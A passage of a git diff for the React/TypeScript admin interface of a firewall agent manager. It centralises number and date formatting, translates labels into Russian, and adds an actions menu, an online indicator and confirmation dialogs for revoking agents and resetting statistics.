day: '2-digit',
|
|
||||||
month: '2-digit',
|
|
||||||
year: 'numeric',
|
|
||||||
hour: '2-digit',
|
|
||||||
minute: '2-digit',
|
|
||||||
second: '2-digit',
|
|
||||||
})
|
|
||||||
|
|
||||||
function formatSeen(iso: string): string {
|
|
||||||
const t = Date.parse(iso)
|
|
||||||
if (Number.isNaN(t)) return '—'
|
|
||||||
return seenFmt.format(t)
|
|
||||||
}
|
|
||||||
|
|
||||||
function formatPorts(ports: BlockedIpPort[] | undefined): string {
|
function formatPorts(ports: BlockedIpPort[] | undefined): string {
|
||||||
if (!ports?.length) return '—'
|
if (!ports?.length) return '—'
|
||||||
@@ -99,7 +85,7 @@ export function AgentBlockedIps({ agentId, platform }: AgentBlockedIpsProps) {
|
|||||||
),
|
),
|
||||||
cell: ({ row }) => (
|
cell: ({ row }) => (
|
||||||
<span className="tabular-nums">
|
<span className="tabular-nums">
|
||||||
{packetFmt.format(row.original.packets)}
|
{formatNumber(row.original.packets)}
|
||||||
</span>
|
</span>
|
||||||
),
|
),
|
||||||
meta: { headerTitle: packetsTitle },
|
meta: { headerTitle: packetsTitle },
|
||||||
@@ -128,7 +114,7 @@ export function AgentBlockedIps({ agentId, platform }: AgentBlockedIpsProps) {
|
|||||||
),
|
),
|
||||||
cell: ({ row }) => (
|
cell: ({ row }) => (
|
||||||
<span className="text-muted-foreground text-xs tabular-nums">
|
<span className="text-muted-foreground text-xs tabular-nums">
|
||||||
{formatSeen(row.original.last_seen_at)}
|
{formatStampDateTime(row.original.last_seen_at)}
|
||||||
</span>
|
</span>
|
||||||
),
|
),
|
||||||
meta: { headerTitle: 'Last seen' },
|
meta: { headerTitle: 'Last seen' },
|
||||||
|
|||||||
@@ -19,6 +19,7 @@ import { DataGridTable } from '@/components/reui/data-grid/data-grid-table'
|
|||||||
import { EmptyState } from '@/components/empty-state'
|
import { EmptyState } from '@/components/empty-state'
|
||||||
import { agentBlockedPortsQueryOptions } from '@/queries'
|
import { agentBlockedPortsQueryOptions } from '@/queries'
|
||||||
import { Skeleton } from '@evofw/ui/components/skeleton'
|
import { Skeleton } from '@evofw/ui/components/skeleton'
|
||||||
|
import { formatNumber, formatStampDateTime } from '@/lib/format'
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Aggregate destination ports hit by denied sources (Linux nft).
|
* Aggregate destination ports hit by denied sources (Linux nft).
|
||||||
@@ -37,21 +38,6 @@ type AgentBlockedPortsProps = {
|
|||||||
agentId: string
|
agentId: string
|
||||||
}
|
}
|
||||||
|
|
||||||
const packetFmt = new Intl.NumberFormat('ru-RU')
|
|
||||||
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
|
|
||||||
day: '2-digit',
|
|
||||||
month: '2-digit',
|
|
||||||
year: 'numeric',
|
|
||||||
hour: '2-digit',
|
|
||||||
minute: '2-digit',
|
|
||||||
second: '2-digit',
|
|
||||||
})
|
|
||||||
|
|
||||||
function formatSeen(iso: string): string {
|
|
||||||
const t = Date.parse(iso)
|
|
||||||
if (Number.isNaN(t)) return '—'
|
|
||||||
return seenFmt.format(t)
|
|
||||||
}
|
|
||||||
|
|
||||||
export function AgentBlockedPorts({ agentId }: AgentBlockedPortsProps) {
|
export function AgentBlockedPorts({ agentId }: AgentBlockedPortsProps) {
|
||||||
const q = useQuery(agentBlockedPortsQueryOptions(agentId))
|
const q = useQuery(agentBlockedPortsQueryOptions(agentId))
|
||||||
@@ -92,7 +78,7 @@ export function AgentBlockedPorts({ agentId }: AgentBlockedPortsProps) {
|
|||||||
),
|
),
|
||||||
cell: ({ row }) => (
|
cell: ({ row }) => (
|
||||||
<span className="tabular-nums">
|
<span className="tabular-nums">
|
||||||
{packetFmt.format(row.original.packets)}
|
{formatNumber(row.original.packets)}
|
||||||
</span>
|
</span>
|
||||||
),
|
),
|
||||||
meta: { headerTitle: 'Packets' },
|
meta: { headerTitle: 'Packets' },
|
||||||
@@ -105,7 +91,7 @@ export function AgentBlockedPorts({ agentId }: AgentBlockedPortsProps) {
|
|||||||
),
|
),
|
||||||
cell: ({ row }) => (
|
cell: ({ row }) => (
|
||||||
<span className="text-muted-foreground text-xs tabular-nums">
|
<span className="text-muted-foreground text-xs tabular-nums">
|
||||||
{formatSeen(row.original.last_seen_at)}
|
{formatStampDateTime(row.original.last_seen_at)}
|
||||||
</span>
|
</span>
|
||||||
),
|
),
|
||||||
meta: { headerTitle: 'Last seen' },
|
meta: { headerTitle: 'Last seen' },
|
||||||
|
|||||||
@@ -1,9 +1,14 @@
|
|||||||
import type { Agent } from '@evofw/shared'
|
import type { Agent } from '@evofw/shared'
|
||||||
import { Trash2 } from 'lucide-react'
|
import {
|
||||||
|
MoreVerticalIcon,
|
||||||
|
PanelRight,
|
||||||
|
Trash2,
|
||||||
|
} from 'lucide-react'
|
||||||
import {
|
import {
|
||||||
AgentPlatformIcon,
|
AgentPlatformIcon,
|
||||||
platformLabel,
|
platformLabel,
|
||||||
} from '@/components/agents/agent-platform-icon'
|
} from '@/components/agents/agent-platform-icon'
|
||||||
|
import { AgentOnlineDot } from '@/components/agents/agent-online-dot'
|
||||||
import {
|
import {
|
||||||
agentHasTrafficSample,
|
agentHasTrafficSample,
|
||||||
agentTrafficAccepted,
|
agentTrafficAccepted,
|
||||||
@@ -13,6 +18,13 @@ import { StatusBadge } from '@/components/status-badge'
|
|||||||
import { Badge } from '@/components/reui/badge'
|
import { Badge } from '@/components/reui/badge'
|
||||||
import { Frame, FramePanel } from '@/components/reui/frame'
|
import { Frame, FramePanel } from '@/components/reui/frame'
|
||||||
import { Button } from '@evofw/ui/components/button'
|
import { Button } from '@evofw/ui/components/button'
|
||||||
|
import {
|
||||||
|
DropdownMenu,
|
||||||
|
DropdownMenuContent,
|
||||||
|
DropdownMenuItem,
|
||||||
|
DropdownMenuSeparator,
|
||||||
|
DropdownMenuTrigger,
|
||||||
|
} from '@evofw/ui/components/dropdown-menu'
|
||||||
import {
|
import {
|
||||||
Item,
|
Item,
|
||||||
ItemContent,
|
ItemContent,
|
||||||
@@ -21,36 +33,13 @@ import {
|
|||||||
} from '@evofw/ui/components/item'
|
} from '@evofw/ui/components/item'
|
||||||
import { Separator } from '@evofw/ui/components/separator'
|
import { Separator } from '@evofw/ui/components/separator'
|
||||||
import { cn } from '@evofw/ui/lib/utils'
|
import { cn } from '@evofw/ui/lib/utils'
|
||||||
|
import { formatPackets, formatRelativeTime } from '@/lib/format'
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Agent catalog card — hybrid card-3 header + stats strip + stats-12 values.
|
* Agent catalog card — hybrid card-3 header + stats strip + stats-12 values.
|
||||||
* Preview: https://reui.io/preview/base/card-3 · https://reui.io/preview/base/stats-12
|
* Preview: https://reui.io/preview/base/card-3 · https://reui.io/preview/base/stats-12
|
||||||
*/
|
*/
|
||||||
|
|
||||||
const packetFmt = new Intl.NumberFormat('ru-RU', {
|
|
||||||
notation: 'compact',
|
|
||||||
maximumFractionDigits: 1,
|
|
||||||
})
|
|
||||||
|
|
||||||
const seenFmt = new Intl.DateTimeFormat('ru-RU', {
|
|
||||||
day: '2-digit',
|
|
||||||
month: '2-digit',
|
|
||||||
hour: '2-digit',
|
|
||||||
minute: '2-digit',
|
|
||||||
})
|
|
||||||
|
|
||||||
function formatPackets(n: number | undefined, hasApply: boolean): string {
|
|
||||||
if (!hasApply || n === undefined) return '—'
|
|
||||||
return packetFmt.format(n)
|
|
||||||
}
|
|
||||||
|
|
||||||
function formatShort(iso: string | null | undefined): string {
|
|
||||||
if (!iso) return '—'
|
|
||||||
const t = Date.parse(iso)
|
|
||||||
if (Number.isNaN(t)) return '—'
|
|
||||||
return seenFmt.format(t)
|
|
||||||
}
|
|
||||||
|
|
||||||
type AgentCardProps = {
|
type AgentCardProps = {
|
||||||
agent: Agent
|
agent: Agent
|
||||||
selected?: boolean
|
selected?: boolean
|
||||||
@@ -65,26 +54,28 @@ export function AgentCard({
|
|||||||
onDelete,
|
onDelete,
|
||||||
}: AgentCardProps) {
|
}: AgentCardProps) {
|
||||||
const hasApply = agentHasTrafficSample(agent)
|
const hasApply = agentHasTrafficSample(agent)
|
||||||
const dropped = formatPackets(agentTrafficDropped(agent), hasApply)
|
const dropped = hasApply ? formatPackets(agentTrafficDropped(agent)) : '—'
|
||||||
const accepted = formatPackets(agentTrafficAccepted(agent), hasApply)
|
const accepted = hasApply ? formatPackets(agentTrafficAccepted(agent)) : '—'
|
||||||
const traffic =
|
const traffic =
|
||||||
dropped === '—' && accepted === '—'
|
dropped === '—' && accepted === '—'
|
||||||
? '—'
|
? '—'
|
||||||
: `↓${dropped} · ↑${accepted}`
|
: `↓${dropped} · ↑${accepted}`
|
||||||
const seen = formatShort(agent.last_seen_at ?? agent.last_apply_at)
|
const seen = formatRelativeTime(
|
||||||
|
agent.last_seen_at ?? agent.last_apply_at,
|
||||||
|
)
|
||||||
const defaultAction =
|
const defaultAction =
|
||||||
agent.default_action === 'drop' ? 'Drop' : 'Accept'
|
agent.default_action === 'drop' ? 'Блокировать' : 'Пропускать'
|
||||||
const subtitle = [
|
const subtitle = [
|
||||||
agent.hostname,
|
agent.hostname,
|
||||||
platformLabel(agent.platform),
|
platformLabel(agent.platform),
|
||||||
`gen ${agent.policy_generation}`,
|
`поколение ${agent.policy_generation}`,
|
||||||
]
|
]
|
||||||
.filter(Boolean)
|
.filter(Boolean)
|
||||||
.join(' · ')
|
.join(' · ')
|
||||||
|
|
||||||
const stats = [
|
const stats = [
|
||||||
{
|
{
|
||||||
label: 'Traffic',
|
label: 'Трафик',
|
||||||
value: traffic,
|
value: traffic,
|
||||||
valueClass:
|
valueClass:
|
||||||
traffic === '—'
|
traffic === '—'
|
||||||
@@ -102,7 +93,7 @@ export function AgentCard({
|
|||||||
),
|
),
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
label: 'Seen',
|
label: 'Активность',
|
||||||
value: seen,
|
value: seen,
|
||||||
valueClass: 'text-muted-foreground',
|
valueClass: 'text-muted-foreground',
|
||||||
valueNode: seen,
|
valueNode: seen,
|
||||||
@@ -114,6 +105,7 @@ export function AgentCard({
|
|||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() => onSelect(agent.id)}
|
onClick={() => onSelect(agent.id)}
|
||||||
|
aria-label={`Открыть агента ${agent.name}`}
|
||||||
className={cn(
|
className={cn(
|
||||||
'w-full text-left outline-none',
|
'w-full text-left outline-none',
|
||||||
'focus-visible:ring-ring rounded-[calc(var(--frame-radius)+2px)] focus-visible:ring-2 focus-visible:ring-offset-2',
|
'focus-visible:ring-ring rounded-[calc(var(--frame-radius)+2px)] focus-visible:ring-2 focus-visible:ring-offset-2',
|
||||||
@@ -136,7 +128,10 @@ export function AgentCard({
|
|||||||
<h3 className="truncate text-sm leading-tight font-semibold">
|
<h3 className="truncate text-sm leading-tight font-semibold">
|
||||||
{agent.name}
|
{agent.name}
|
||||||
</h3>
|
</h3>
|
||||||
|
<span className="flex items-center gap-1.5">
|
||||||
|
<AgentOnlineDot agent={agent} />
|
||||||
<StatusBadge status={agent.status} />
|
<StatusBadge status={agent.status} />
|
||||||
|
</span>
|
||||||
<Badge
|
<Badge
|
||||||
variant={
|
variant={
|
||||||
agent.default_action === 'drop'
|
agent.default_action === 'drop'
|
||||||
@@ -196,16 +191,35 @@ export function AgentCard({
|
|||||||
</FramePanel>
|
</FramePanel>
|
||||||
</Frame>
|
</Frame>
|
||||||
</button>
|
</button>
|
||||||
|
<DropdownMenu>
|
||||||
|
<DropdownMenuTrigger
|
||||||
|
render={
|
||||||
<Button
|
<Button
|
||||||
type="button"
|
type="button"
|
||||||
size="icon-sm"
|
size="icon-sm"
|
||||||
variant="ghost"
|
variant="ghost"
|
||||||
className="text-destructive absolute top-3 right-3 z-10"
|
className="absolute top-3 right-3 z-10"
|
||||||
aria-label="Удалить"
|
aria-label={`Действия с агентом ${agent.name}`}
|
||||||
|
/>
|
||||||
|
}
|
||||||
|
>
|
||||||
|
<MoreVerticalIcon className="size-3.5" />
|
||||||
|
</DropdownMenuTrigger>
|
||||||
|
<DropdownMenuContent align="end">
|
||||||
|
<DropdownMenuItem onClick={() => onSelect(agent.id)}>
|
||||||
|
<PanelRight className="size-4" />
|
||||||
|
Открыть
|
||||||
|
</DropdownMenuItem>
|
||||||
|
<DropdownMenuSeparator />
|
||||||
|
<DropdownMenuItem
|
||||||
|
variant="destructive"
|
||||||
onClick={() => onDelete(agent.id)}
|
onClick={() => onDelete(agent.id)}
|
||||||
>
|
>
|
||||||
<Trash2 className="size-3.5" />
|
<Trash2 className="size-4" />
|
||||||
</Button>
|
Удалить
|
||||||
|
</DropdownMenuItem>
|
||||||
|
</DropdownMenuContent>
|
||||||
|
</DropdownMenu>
|
||||||
</div>
|
</div>
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -21,10 +21,8 @@ import {
|
|||||||
} from '@/components/reui/alert'
|
} from '@/components/reui/alert'
|
||||||
import { Badge } from '@/components/reui/badge'
|
import { Badge } from '@/components/reui/badge'
|
||||||
import { StatusBadge } from '@/components/status-badge'
|
import { StatusBadge } from '@/components/status-badge'
|
||||||
import {
|
import { AgentPlatformIcon, platformLabel } from '@/components/agents/agent-platform-icon'
|
||||||
AgentPlatformIcon,
|
import { AgentOnlineDot } from '@/components/agents/agent-online-dot'
|
||||||
platformLabel,
|
|
||||||
} from '@/components/agents/agent-platform-icon'
|
|
||||||
import {
|
import {
|
||||||
agentTrafficAccepted,
|
agentTrafficAccepted,
|
||||||
agentTrafficDropped,
|
agentTrafficDropped,
|
||||||
@@ -38,6 +36,7 @@ import { AgentBlockedPorts } from '@/components/agents/agent-blocked-ports'
|
|||||||
import { AgentHostFirewall } from '@/components/agents/agent-host-firewall'
|
import { AgentHostFirewall } from '@/components/agents/agent-host-firewall'
|
||||||
import { AgentPortAcl } from '@/components/agents/agent-port-acl'
|
import { AgentPortAcl } from '@/components/agents/agent-port-acl'
|
||||||
import { CountedLineTabs } from '@/components/counted-line-tabs'
|
import { CountedLineTabs } from '@/components/counted-line-tabs'
|
||||||
|
import { ConfirmDialog } from '@/components/confirm-dialog'
|
||||||
import {
|
import {
|
||||||
AgentCloneSetsSheet,
|
AgentCloneSetsSheet,
|
||||||
AgentOverrideSheet,
|
AgentOverrideSheet,
|
||||||
@@ -47,6 +46,7 @@ import {
|
|||||||
agentQueryOptions,
|
agentQueryOptions,
|
||||||
} from '@/queries'
|
} from '@/queries'
|
||||||
import { apiFetch } from '@/lib/api'
|
import { apiFetch } from '@/lib/api'
|
||||||
|
import { formatDateTime, formatRelativeTime } from '@/lib/format'
|
||||||
import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
|
import { useCopyToClipboard } from '@/hooks/use-copy-to-clipboard'
|
||||||
import { Button } from '@evofw/ui/components/button'
|
import { Button } from '@evofw/ui/components/button'
|
||||||
import { Skeleton } from '@evofw/ui/components/skeleton'
|
import { Skeleton } from '@evofw/ui/components/skeleton'
|
||||||
@@ -79,6 +79,8 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
|||||||
const installRef = useRef<HTMLDivElement>(null)
|
const installRef = useRef<HTMLDivElement>(null)
|
||||||
const [overrideOpen, setOverrideOpen] = useState(false)
|
const [overrideOpen, setOverrideOpen] = useState(false)
|
||||||
const [cloneOpen, setCloneOpen] = useState(false)
|
const [cloneOpen, setCloneOpen] = useState(false)
|
||||||
|
const [revokeOpen, setRevokeOpen] = useState(false)
|
||||||
|
const [resetStatsOpen, setResetStatsOpen] = useState(false)
|
||||||
const [fwTab, setFwTab] = useState('host')
|
const [fwTab, setFwTab] = useState('host')
|
||||||
|
|
||||||
const revoke = useMutation({
|
const revoke = useMutation({
|
||||||
@@ -111,7 +113,7 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
|||||||
void qc.invalidateQueries({ queryKey: ['agents', agentId, 'stats'] })
|
void qc.invalidateQueries({ queryKey: ['agents', agentId, 'stats'] })
|
||||||
void qc.invalidateQueries({ queryKey: ['agents', agentId, 'blocked-ips'] })
|
void qc.invalidateQueries({ queryKey: ['agents', agentId, 'blocked-ips'] })
|
||||||
void qc.invalidateQueries({ queryKey: ['agents', agentId, 'blocked-ports'] })
|
void qc.invalidateQueries({ queryKey: ['agents', agentId, 'blocked-ports'] })
|
||||||
void qc.invalidateQueries({ queryKey: ['stats'] })
|
void qc.invalidateQueries({ queryKey: ['stats-recent'] })
|
||||||
void qc.invalidateQueries({ queryKey: ['dashboard'] })
|
void qc.invalidateQueries({ queryKey: ['dashboard'] })
|
||||||
},
|
},
|
||||||
onError: (e: Error) => toast.error(e.message),
|
onError: (e: Error) => toast.error(e.message),
|
||||||
@@ -135,8 +137,19 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
|||||||
<Alert variant="destructive">
|
<Alert variant="destructive">
|
||||||
<CircleAlertIcon />
|
<CircleAlertIcon />
|
||||||
<AlertTitle>Ошибка загрузки</AlertTitle>
|
<AlertTitle>Ошибка загрузки</AlertTitle>
|
||||||
<AlertDescription>
|
<AlertDescription className="flex flex-col gap-2">
|
||||||
|
<span>
|
||||||
{agentQ.error?.message ?? 'Не удалось загрузить агента'}
|
{agentQ.error?.message ?? 'Не удалось загрузить агента'}
|
||||||
|
</span>
|
||||||
|
<Button
|
||||||
|
type="button"
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
className="w-fit"
|
||||||
|
onClick={() => void agentQ.refetch()}
|
||||||
|
>
|
||||||
|
Повторить
|
||||||
|
</Button>
|
||||||
</AlertDescription>
|
</AlertDescription>
|
||||||
</Alert>
|
</Alert>
|
||||||
</div>
|
</div>
|
||||||
@@ -146,8 +159,8 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
|||||||
const headerDesc = [
|
const headerDesc = [
|
||||||
a.hostname,
|
a.hostname,
|
||||||
platformLabel(a.platform),
|
platformLabel(a.platform),
|
||||||
`gen ${a.policy_generation}`,
|
`поколение ${a.policy_generation}`,
|
||||||
a.default_action === 'drop' ? 'default Drop' : 'default Accept',
|
a.default_action === 'drop' ? 'по умолчанию: блокировать' : 'по умолчанию: пропускать',
|
||||||
]
|
]
|
||||||
.filter(Boolean)
|
.filter(Boolean)
|
||||||
.join(' · ')
|
.join(' · ')
|
||||||
@@ -162,7 +175,10 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
|||||||
actions={
|
actions={
|
||||||
<>
|
<>
|
||||||
<AgentPlatformIcon platform={a.platform} />
|
<AgentPlatformIcon platform={a.platform} />
|
||||||
|
<span className="flex items-center gap-1.5">
|
||||||
|
<AgentOnlineDot agent={a} />
|
||||||
<StatusBadge status={a.status} />
|
<StatusBadge status={a.status} />
|
||||||
|
</span>
|
||||||
<Badge
|
<Badge
|
||||||
variant={
|
variant={
|
||||||
a.default_action === 'drop'
|
a.default_action === 'drop'
|
||||||
@@ -180,17 +196,17 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
|||||||
onClick={() => approve.mutate()}
|
onClick={() => approve.mutate()}
|
||||||
disabled={approve.isPending}
|
disabled={approve.isPending}
|
||||||
>
|
>
|
||||||
Approve
|
Утвердить
|
||||||
</Button>
|
</Button>
|
||||||
) : null}
|
) : null}
|
||||||
{a.status === 'approved' ? (
|
{a.status === 'approved' ? (
|
||||||
<Button
|
<Button
|
||||||
variant="outline"
|
variant="outline"
|
||||||
size="sm"
|
size="sm"
|
||||||
onClick={() => revoke.mutate()}
|
onClick={() => setRevokeOpen(true)}
|
||||||
disabled={revoke.isPending}
|
disabled={revoke.isPending}
|
||||||
>
|
>
|
||||||
Revoke
|
Отозвать
|
||||||
</Button>
|
</Button>
|
||||||
) : null}
|
) : null}
|
||||||
{a.install_curl ? (
|
{a.install_curl ? (
|
||||||
@@ -199,11 +215,11 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
|||||||
size="sm"
|
size="sm"
|
||||||
onClick={() => {
|
onClick={() => {
|
||||||
copyToClipboard(a.install_curl!)
|
copyToClipboard(a.install_curl!)
|
||||||
toast.success('Скопировано')
|
toast.success('Команда установки скопирована')
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
<Copy data-icon="inline-start" />
|
<Copy data-icon="inline-start" />
|
||||||
Install
|
Установка
|
||||||
</Button>
|
</Button>
|
||||||
) : null}
|
) : null}
|
||||||
<DropdownMenu>
|
<DropdownMenu>
|
||||||
@@ -231,14 +247,14 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
|||||||
<DropdownMenuItem
|
<DropdownMenuItem
|
||||||
onClick={() => {
|
onClick={() => {
|
||||||
copyToClipboard(a.install_curl!)
|
copyToClipboard(a.install_curl!)
|
||||||
toast.success('Скопировано')
|
toast.success('Команда установки скопирована')
|
||||||
installRef.current?.scrollIntoView({
|
installRef.current?.scrollIntoView({
|
||||||
behavior: 'smooth',
|
behavior: 'smooth',
|
||||||
})
|
})
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
<TerminalIcon className="size-4" />
|
<TerminalIcon className="size-4" />
|
||||||
Install curl
|
Команда установки
|
||||||
</DropdownMenuItem>
|
</DropdownMenuItem>
|
||||||
) : null}
|
) : null}
|
||||||
{onDelete ? (
|
{onDelete ? (
|
||||||
@@ -262,7 +278,7 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
|||||||
{a.last_apply_error ? (
|
{a.last_apply_error ? (
|
||||||
<Alert variant="destructive">
|
<Alert variant="destructive">
|
||||||
<CircleAlertIcon />
|
<CircleAlertIcon />
|
||||||
<AlertTitle>Ошибка apply</AlertTitle>
|
<AlertTitle>Ошибка применения политики</AlertTitle>
|
||||||
<AlertDescription>{a.last_apply_error}</AlertDescription>
|
<AlertDescription>{a.last_apply_error}</AlertDescription>
|
||||||
</Alert>
|
</Alert>
|
||||||
) : null}
|
) : null}
|
||||||
@@ -273,7 +289,7 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
|||||||
id: 'traffic',
|
id: 'traffic',
|
||||||
icon: <ActivityIcon aria-hidden />,
|
icon: <ActivityIcon aria-hidden />,
|
||||||
iconClassName: 'text-warning',
|
iconClassName: 'text-warning',
|
||||||
label: 'Traffic',
|
label: 'Трафик',
|
||||||
description: `↓${agentTrafficDropped(a)} · ↑${agentTrafficAccepted(a)}`,
|
description: `↓${agentTrafficDropped(a)} · ↑${agentTrafficAccepted(a)}`,
|
||||||
hint: 'накопительно',
|
hint: 'накопительно',
|
||||||
variant: 'warning',
|
variant: 'warning',
|
||||||
@@ -283,7 +299,7 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
|||||||
size="sm"
|
size="sm"
|
||||||
variant="outline"
|
variant="outline"
|
||||||
disabled={resetStats.isPending}
|
disabled={resetStats.isPending}
|
||||||
onClick={() => resetStats.mutate()}
|
onClick={() => setResetStatsOpen(true)}
|
||||||
>
|
>
|
||||||
Сбросить
|
Сбросить
|
||||||
</Button>
|
</Button>
|
||||||
@@ -293,15 +309,18 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
|||||||
id: 'kernel',
|
id: 'kernel',
|
||||||
icon: <CpuIcon aria-hidden />,
|
icon: <CpuIcon aria-hidden />,
|
||||||
iconClassName: 'text-info',
|
iconClassName: 'text-info',
|
||||||
label: 'Kernel',
|
label: 'Ядро',
|
||||||
description: a.last_apply_kernel_method ?? '—',
|
description: a.last_apply_kernel_method ?? '—',
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
id: 'apply',
|
id: 'apply',
|
||||||
icon: <ClockIcon aria-hidden />,
|
icon: <ClockIcon aria-hidden />,
|
||||||
iconClassName: 'text-primary',
|
iconClassName: 'text-primary',
|
||||||
label: 'Last apply',
|
label: 'Последнее применение',
|
||||||
description: a.last_apply_at ?? '—',
|
description: formatDateTime(a.last_apply_at),
|
||||||
|
hint: a.last_apply_at
|
||||||
|
? formatRelativeTime(a.last_apply_at)
|
||||||
|
: undefined,
|
||||||
},
|
},
|
||||||
]}
|
]}
|
||||||
/>
|
/>
|
||||||
@@ -333,9 +352,9 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
|||||||
value={fwTab}
|
value={fwTab}
|
||||||
onValueChange={setFwTab}
|
onValueChange={setFwTab}
|
||||||
tabs={[
|
tabs={[
|
||||||
{ id: 'host', label: 'Host firewall' },
|
{ id: 'host', label: 'Хост-фаервол' },
|
||||||
{ id: 'acl', label: 'Port ACL' },
|
{ id: 'acl', label: 'Правила портов' },
|
||||||
{ id: 'hits', label: 'Blocked' },
|
{ id: 'hits', label: 'Заблокированное' },
|
||||||
]}
|
]}
|
||||||
>
|
>
|
||||||
<TabsContent value="host" className="mt-3">
|
<TabsContent value="host" className="mt-3">
|
||||||
@@ -374,6 +393,32 @@ export function AgentDetailView({ agentId, onDelete }: AgentDetailViewProps) {
|
|||||||
open={cloneOpen}
|
open={cloneOpen}
|
||||||
onOpenChange={setCloneOpen}
|
onOpenChange={setCloneOpen}
|
||||||
/>
|
/>
|
||||||
|
|
||||||
|
<ConfirmDialog
|
||||||
|
open={revokeOpen}
|
||||||
|
onOpenChange={setRevokeOpen}
|
||||||
|
title="Отозвать агента?"
|
||||||
|
confirmLabel="Отозвать"
|
||||||
|
description={`Агент «${a.name}» потеряет доступ к API управления и перестанет получать обновления политики. Действие нельзя отменить.`}
|
||||||
|
onConfirm={() => {
|
||||||
|
setRevokeOpen(false)
|
||||||
|
revoke.mutate()
|
||||||
|
}}
|
||||||
|
disabled={revoke.isPending}
|
||||||
|
/>
|
||||||
|
|
||||||
|
<ConfirmDialog
|
||||||
|
open={resetStatsOpen}
|
||||||
|
onOpenChange={setResetStatsOpen}
|
||||||
|
title="Сбросить статистику?"
|
||||||
|
confirmLabel="Сбросить"
|
||||||
|
description={`Счётчики пакетов и история статистики агента «${a.name}» будут обнулены и удалены. Действие нельзя отменить.`}
|
||||||
|
onConfirm={() => {
|
||||||
|
setResetStatsOpen(false)
|
||||||
|
resetStats.mutate()
|
||||||
|
}}
|
||||||
|
disabled={resetStats.isPending}
|
||||||
|
/>
|
||||||
</>
|
</>
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -18,6 +18,7 @@ import {
|
|||||||
SelectValue,
|
SelectValue,
|
||||||
} from '@evofw/ui/components/select'
|
} from '@evofw/ui/components/select'
|
||||||
import { Separator } from '@evofw/ui/components/separator'
|
import { Separator } from '@evofw/ui/components/separator'
|
||||||
|
import { formatDateTime } from '@/lib/format'
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Agent facts panel — SA3 RunFacts DNA (editable default_action).
|
* Agent facts panel — SA3 RunFacts DNA (editable default_action).
|
||||||
@@ -31,9 +32,7 @@ type AgentFactsPanelProps = {
|
|||||||
|
|
||||||
function formatWhen(iso?: string | null): string {
|
function formatWhen(iso?: string | null): string {
|
||||||
if (!iso) return '—'
|
if (!iso) return '—'
|
||||||
const d = new Date(iso)
|
return formatDateTime(iso)
|
||||||
if (Number.isNaN(d.getTime())) return iso
|
|
||||||
return d.toLocaleString('ru-RU')
|
|
||||||
}
|
}
|
||||||
|
|
||||||
export function AgentFactsPanel({ agent }: AgentFactsPanelProps) {
|
export function AgentFactsPanel({ agent }: AgentFactsPanelProps) {
|
||||||
|
|||||||
@@ -1,11 +1,15 @@
|
|||||||
import { useCallback, useMemo, type MouseEvent, type ReactNode } from 'react'
|
import { useCallback, useMemo, type MouseEvent, type ReactNode } from 'react'
|
||||||
import type { ColumnDef } from '@tanstack/react-table'
|
import type { ColumnDef, RowSelectionState } from '@tanstack/react-table'
|
||||||
import { Check, Copy, PanelRight, Trash2 } from 'lucide-react'
|
import { Check, Copy, PanelRight, Trash2 } from 'lucide-react'
|
||||||
import type { Agent } from '@evofw/shared'
|
import type { Agent } from '@evofw/shared'
|
||||||
import type { Filter, FilterFieldConfig } from '@/components/reui/filters'
|
import type { Filter, FilterFieldConfig } from '@/components/reui/filters'
|
||||||
import { ResourcePage } from '@/components/reui-kit'
|
import { ResourcePage } from '@/components/reui-kit'
|
||||||
import { Badge } from '@/components/reui/badge'
|
import { Badge } from '@/components/reui/badge'
|
||||||
import { DataGridColumnHeader } from '@/components/reui/data-grid/data-grid-column-header'
|
import { DataGridColumnHeader } from '@/components/reui/data-grid/data-grid-column-header'
|
||||||
|
import {
|
||||||
|
DataGridTableRowSelect,
|
||||||
|
DataGridTableRowSelectAll,
|
||||||
|
} from '@/components/reui/data-grid/data-grid-table'
|
||||||
import {
|
import {
|
||||||
DataGridMutedCell,
|
DataGridMutedCell,
|
||||||
DataGridPrimaryCell,
|
DataGridPrimaryCell,
|
||||||
@@ -20,12 +24,15 @@ import {
|
|||||||
agentTrafficAccepted,
|
agentTrafficAccepted,
|
||||||
agentTrafficDropped,
|
agentTrafficDropped,
|
||||||
} from '@/components/agents/agent-traffic'
|
} from '@/components/agents/agent-traffic'
|
||||||
|
import { AgentOnlineDot } from '@/components/agents/agent-online-dot'
|
||||||
|
import { formatRelativeTime } from '@/lib/format'
|
||||||
import { Button } from '@evofw/ui/components/button'
|
import { Button } from '@evofw/ui/components/button'
|
||||||
import {
|
import {
|
||||||
Tooltip,
|
Tooltip,
|
||||||
TooltipContent,
|
TooltipContent,
|
||||||
TooltipTrigger,
|
TooltipTrigger,
|
||||||
} from '@evofw/ui/components/tooltip'
|
} from '@evofw/ui/components/tooltip'
|
||||||
|
import { formatPackets } from '@/lib/format'
|
||||||
|
|
||||||
/**
|
/**
|
||||||
